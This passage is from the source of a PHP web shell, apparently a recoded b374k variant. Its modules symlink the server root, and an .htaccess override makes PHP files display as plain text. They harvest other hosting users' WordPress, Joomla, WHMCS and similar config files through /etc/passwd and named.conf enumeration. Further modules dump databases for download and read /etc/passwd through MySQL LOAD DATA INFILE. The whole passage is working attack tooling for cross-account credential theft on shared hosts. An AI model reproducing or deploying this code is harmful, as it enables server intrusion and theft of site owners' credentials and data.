  1977. echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><br><br><br><br></center>';}}
  1978. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1979. //sym sec
  1980. elseif(isset($_GET['x']) && ($_GET['x'] == 'sec')){
  1981. $d0mains = @file("/etc/named.conf");
  1982. ##httaces
  1983. if($d0mains){
  1984. @mkdir("k2",0777);
  1985. @chdir("k2");
  1986. @exe("ln -s / root");
  1987. $file3 = 'Options all
  1988. DirectoryIndex Sux.html
  1989. AddType text/plain .php
  1990. AddHandler server-parsed .php
  1991. AddType text/plain .html
  1992. AddHandler txt .html
  1993. Require None
  1994. Satisfy Any';
  1995. $fp3 = fopen('.htaccess','w');
  1996. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1997. echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
  1998. <table align=center border=1 style='width:60%;border-color:#333333;'>
  1999. <tr>
  2000. <td align=center><font size=3>S. No.</font></td>
  2001. <td align=center><font size=3>Domains</font></td>
  2002. <td align=center><font size=3>Users</font></td>
  2003. <td align=center><font size=3>Symlink</font></td>
  2004. </tr>";
  2005. $dcount = 1;
  2006. foreach($d0mains as $d0main){
  2007. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2008. flush();
  2009. if(strlen(trim($domains[1][0])) > 2){
  2010. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2011. echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
  2012. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  2013. <td>".$user['name']."</td>
  2014. <td><a href='/k2/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  2015. flush();
  2016. $dcount++;}}}
  2017. echo "</table>";
  2018. }else{
  2019. $TEST=@file('/etc/passwd');
  2020. if ($TEST){
  2021. @mkdir("k2",0777);
  2022. @chdir("k2");
  2023. exe("ln -s / root");
  2024. $file3 = 'Options all
  2025. DirectoryIndex Sux.html
  2026. AddType text/plain .php
  2027. AddHandler server-parsed .php
  2028. AddType text/plain .html
  2029. AddHandler txt .html
  2030. Require None
  2031. Satisfy Any';
  2032. $fp3 = fopen('.htaccess','w');
  2033. $fw3 = fwrite($fp3,$file3);
  2034. @fclose($fp3);
  2035. echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
  2036. <table align=center border=1><tr>
  2037. <td align=center><font size=4>S. No.</font></td>
  2038. <td align=center><font size=4>Users</font></td>
  2039. <td align=center><font size=4>Symlink</font></td></tr>";
  2040. $dcount = 1;
  2041. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2042. while(!feof($file)){
  2043. $s = fgets($file);
  2044. $matches = array();
  2045. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2046. $matches = str_replace("home/","",$matches[1]);
  2047. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2048. continue;
  2049. echo "<tr><td align=center><font size=3>" . $dcount . "</td>
  2050. <td align=center><font class=txt>" . $matches . "</td>";
  2051. echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2052. $dcount++;}fclose($file);
  2053. echo "</table>";}else{if($os != "Windows"){@mkdir("k2",0777);@chdir("k2");@exe("ln -s / root");$file3 = 'Options all
  2054. DirectoryIndex Sux.html
  2055. AddType text/plain .php
  2056. AddHandler server-parsed .php
  2057. AddType text/plain .html
  2058. AddHandler txt .html
  2059. Require None
  2060. Satisfy Any';
  2061. $fp3 = fopen('.htaccess','w');
  2062. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2063. echo "<br><br><center><h2>Symlink Server !</h2></center><br><br><center>
  2064. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  2065. <table align=center border=1><tr>
  2066. <td align=center><font size=4>id</font></td>
  2067. <td align=center><font size=4>Users</font></td>
  2068. <td align=center><font size=4>Symlink</font></td></tr>";
  2069. $temp = "";$val1 = 0;$val2 = 1000;
  2070. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  2071. if ($uid)$temp .= join(':',$uid)."\n";}
  2072. echo '<br/>';$temp = trim($temp);$file5 =
  2073. fopen("test.txt","w");
  2074. fputs($file5,$temp);
  2075. fclose($file5);$dcount = 1;$file =
  2076. fopen("test.txt", "r") or exit("Unable to open file!");
  2077. while(!feof($file)){$s = fgets($file);$matches = array();
  2078. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  2079. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2080. continue;
  2081. echo "<tr><td align=center><font size=3>" . $dcount . "</td>
  2082. <td align=center><font class=txt>" . $matches . "</td>";
  2083. echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2084. $dcount++;}
  2085. fclose($file);
  2086. echo "</table></div></center>";unlink("test.txt");
  2087. } else
  2088. echo "<center><font size=4>Cannot create Symlink</font></center>";
  2089. }
  2090. }
  2091. }
  2092. /////////////////////////////////////////////////////////////////
  2093. ## db dump
  2094. elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
  2095. {
  2096. ?>
  2097. <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
  2098. <?php
  2099. echo $head.'<p align="center">';
  2100. echo '
  2101. <table width=371 class=tabnet >
  2102. <tr><th colspan="2">Database Dump</th></tr>
  2103. <tr>
  2104. <td>Server </td>
  2105. <td><input class="inputz" type=text name=server size=52></td></tr><tr>
  2106. <td>Username</td>
  2107. <td><input class="inputz" type=text name=username size=52></td></tr><tr>
  2108. <td>Password</td>
  2109. <td><input class="inputz" type=text name=password size=52></td></tr><tr>
  2110. <td>DataBase Name</td>
  2111. <td><input class="inputz" type=text name=dbname size=52></td></tr>
  2112. <tr>
  2113. <td>DB Type </td>
  2114. <td><form method=post action="'.$me.'">
  2115. <select class="inputz" name=method>
  2116. <option value="gzip">Gzip</option>
  2117. <option value="sql">Sql</option>
  2118. </select>
  2119. <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
  2120. </form></center></table>';
  2121. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  2122. $date = date("Y-m-d");
  2123. $dbserver = $_POST['server'];
  2124. $dbuser = $_POST['username'];
  2125. $dbpass = $_POST['password'];
  2126. $dbname = $_POST['dbname'];
  2127. $file = "Dump-$dbname-$date";
  2128. $method = $_POST['method'];
  2129. if ($method=='sql'){
  2130. $file="Dump-$dbname-$date.sql";
  2131. $fp=fopen($file,"w");
  2132. }else{
  2133. $file="Dump-$dbname-$date.sql.gz";
  2134. $fp = gzopen($file,"w");
  2135. }
  2136. function write($data) {
  2137. global $fp;
  2138. if ($_POST['method']=='ssql'){
  2139. fwrite($fp,$data);
  2140. }else{
  2141. gzwrite($fp, $data);
  2142. }}
  2143. mysql_connect ($dbserver, $dbuser, $dbpass);
  2144. mysql_select_db($dbname);
  2145. $tables = mysql_query ("SHOW TABLES");
  2146. while ($i = mysql_fetch_array($tables)) {
  2147. $i = $i['Tables_in_'.$dbname];
  2148. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  2149. write($create['Create Table'].";\n\n");
  2150. $sql = mysql_query ("SELECT * FROM ".$i);
  2151. if (mysql_num_rows($sql)) {
  2152. while ($row = mysql_fetch_row($sql)) {
  2153. foreach ($row as $j => $k) {
  2154. $row[$j] = "'".mysql_escape_string($k)."'";
  2155. }
  2156. write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
  2157. }
  2158. }
  2159. }
  2160. if ($method=='ssql'){
  2161. fclose ($fp);
  2162. }else{
  2163. gzclose($fp);}
  2164. header("Content-Disposition: attachment; filename=" . $file);
  2165. header("Content-Type: application/download");
  2166. header("Content-Length: " . filesize($file));
  2167. flush();
  2168.  
  2169. $fp = fopen($file, "r");
  2170. while (!feof($fp))
  2171. {
  2172. echo fread($fp, 65536);
  2173. flush();
  2174. }
  2175. fclose($fp);
  2176. }
  2177.  
  2178. }
  2179.  
  2180. /* Goblok
  2181. start here */
  2182. // domain viewer by S1r_V1ru5 rec0de by Kapaljetz666
  2183. elseif(isset($_GET['x']) && ($_GET['x'] == 'dv')){ @ini_set('output_buffering',0);
  2184. {
  2185. ?>
  2186. <form action="?y=<?php echo $pwd; ?>&x=dv" method="post">
  2187. <center><h2>Domain Viewer by S1r_V1ru5<br>notes: if blank(no domain) that mean not work use domain viewer, you can use symlink server</center><br><br>
  2188. <?php
  2189. function openBaseDir()
  2190. {
  2191. $openBaseDir = ini_get("open_basedir");
  2192. if (!$openBaseDir)
  2193. {
  2194. $openBaseDir = '<font color="green">OFF</font>';
  2195. }
  2196. else
  2197. {
  2198. $openBaseDir = '<font color="red">ON</font>';
  2199. }
  2200. return $openBaseDir;
  2201. }
  2202.  
  2203.  
  2204. echo '
  2205. <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
  2206. <td height="100" align="left" class="td1">';
  2207. $pg = basename(__FILE__);
  2208. $safe_mode = @ini_get('safe_mode');
  2209. $dir = @getcwd();
  2210. ////////////////////////////////////////////////////
  2211. // LET'S PLAY ~
  2212. ##.htaccess
  2213. @mkdir('pee',0777);
  2214. @symlink("/","pee/root");
  2215. $htaccss = "Options all
  2216. DirectoryIndex Sux.html
  2217. AddType text/plain .php
  2218. AddHandler server-parsed .php
  2219. AddType text/plain .html
  2220. AddHandler txt .html
  2221. Require None
  2222. Satisfy Any";
  2223.  
  2224. file_put_contents("pee/.htaccess",$htaccss);
  2225. $etc = file_get_contents("/etc/passwd");
  2226. $etcz = explode("\n",$etc);
  2227.  
  2228.  
  2229. ##Symlink to the ROOT :p
  2230. foreach($etcz as $etz){
  2231. $etcc = explode(":",$etz);
  2232. error_reporting(0);
  2233.  
  2234. $current_dir = posix_getcwd();
  2235. $dir = explode("/",$current_dir);
  2236.  
  2237. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2238. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2239. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2240. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  2241. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
  2242. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
  2243. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2244. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2245. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2246. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  2247. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
  2248. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
  2249. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
  2250. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
  2251. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
  2252. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
  2253. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
  2254. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2255. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2256. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2257. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2258. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2259. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2260. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2261. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2262. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2263. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2264. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2265. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2266. symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  2267. }
  2268. #############################
  2269. if(is_readable("/var/named")){
  2270. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2271. echo'<tr><td><center><b>SITE</b></center></td><td>
  2272. <center><b>USER</b></center></td>
  2273. <td></center><b>SYMLINK</b></center></td>';
  2274. $list = scandir("/var/named");
  2275. foreach($list as $domain){
  2276. if(strpos($domain,".db")){
  2277. $i += 1;
  2278. $domain = str_replace('.db','',$domain);
  2279. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2280.  
  2281. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  2282. <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
  2283. <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2284. }
  2285. }
  2286. echo "<center>Total Domains Found: ".$i."</center><br />";
  2287. }else{
  2288. echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
  2289.  
  2290. break;
  2291.  
  2292. ##################################
  2293. error_reporting(0);
  2294. $etc = file_get_contents("/etc/passwd");
  2295. $etcz = explode("\n",$etc);
  2296. if(is_readable("/etc/passwd")){
  2297.  
  2298. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2299. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
  2300.  
  2301. $list = scandir("/var/named");
  2302.  
  2303. foreach($etcz as $etz){
  2304. $etcc = explode(":",$etz);
  2305.  
  2306. foreach($list as $domain){
  2307. if(strpos($domain,".db")){
  2308. $domain = str_replace('.db','',$domain);
  2309. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2310. if($owner['name'] == $etcc[0])
  2311. {
  2312. $i += 1;
  2313. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
  2314. <td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  2315. <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2316. }}}}
  2317. echo "<center>Total Domains Found: ".$i."</center><br />";}
  2318.  
  2319. break;
  2320. ###############################
  2321. if(is_readable("/etc/named.conf")){
  2322. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2323. echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  2324. $named = file_get_contents("/etc/named.conf");
  2325. preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  2326. foreach($domains[1] as $domain){
  2327. $domain = trim($domain);
  2328. $i += 1;
  2329. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2330. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2331. }
  2332. echo "<center>Total Domains Found: ".$i."</center><br />";
  2333.  
  2334. } else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
  2335.  
  2336. break;
  2337. ############################
  2338. if(is_readable("/etc/valiases")){
  2339. echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  2340. echo'<tr><td><center><b>SITE</b></center></td><td>
  2341. <center><b>USER</b></center></td><td></center>
  2342. <b>SYMLINK</b></center></td>';
  2343. $list = scandir("/etc/valiases");
  2344. foreach($list as $domain){
  2345. $i += 1;
  2346. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2347. echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  2348. <center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  2349. <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  2350. }
  2351. echo "<center>Total Domains Found: ".$i."</center><br />";
  2352. } else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
  2353.  
  2354. break;
  2355. }}
  2356. ##########################
  2357. #JembutLoyality
  2358. ##########################################
  2359. #######################
  2360. ########################
  2361. # JAAAAAAAAAAAAANCCCCCCCCCCCOOOOOOOOOOOOOK
  2362. ##################
  2363. # recode by Kapaljetz666
  2364. #########################
  2365. #gue kasih skat biar ga pusing :v
  2366. ##################################
  2367. //////////////////
  2368. ########################################################################
  2369. ########################################################################
  2370. #########################################################################
  2371. # END
  2372. ############## MYSQL ########################################
  2373. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
  2374. {
  2375. $sqlhost = $_GET['sqlhost'];
  2376. $sqluser = $_GET['sqluser'];
  2377. $sqlpass = $_GET['sqlpass'];
  2378. $sqlport = $_GET['sqlport'];
  2379. if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
  2380. {
  2381. $msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";
  2382. $msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
  2383. if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
  2384. if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";
  2385. $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
  2386. $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
  2387. $tables = array();
  2388. $msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
  2389. while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
  2390. foreach($tables as $table){
  2391. $msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
  2392. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  2393. $db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  2394. list($total) = mysql_fetch_row($hasil);
  2395. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  2396. else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  2397. while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
  2398. $data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
  2399. for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
  2400. if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
  2401. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
  2402. $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
  2403. if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
  2404. for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
  2405. if($rows[$j] == "") $dataz = "&nbsp;";
  2406. else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
  2407. else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
  2408. else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
  2409. while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
  2410. $msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
  2411. @mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
  2412. <br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect !<br>if you want use mysql interface by S4MP4H, change url '&x=mysq' to '&x=sql'</h2>
  2413. <form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" />
  2414. <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr>
  2415. <th colspan="2">Connection Form</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  2416. <input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
  2417. <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
  2418. <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
  2419. <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" />
  2420. </td></tr></table></form></div></center>
  2421. <?
  2422. }
  2423. }
  2424. ########################################################################
  2425. # START UPLOAD #
  2426. elseif(isset($_REQUEST['upload'])){ $s_result = " "; $msg = "";
  2427. if(isset($_POST['uploadcomp'])){
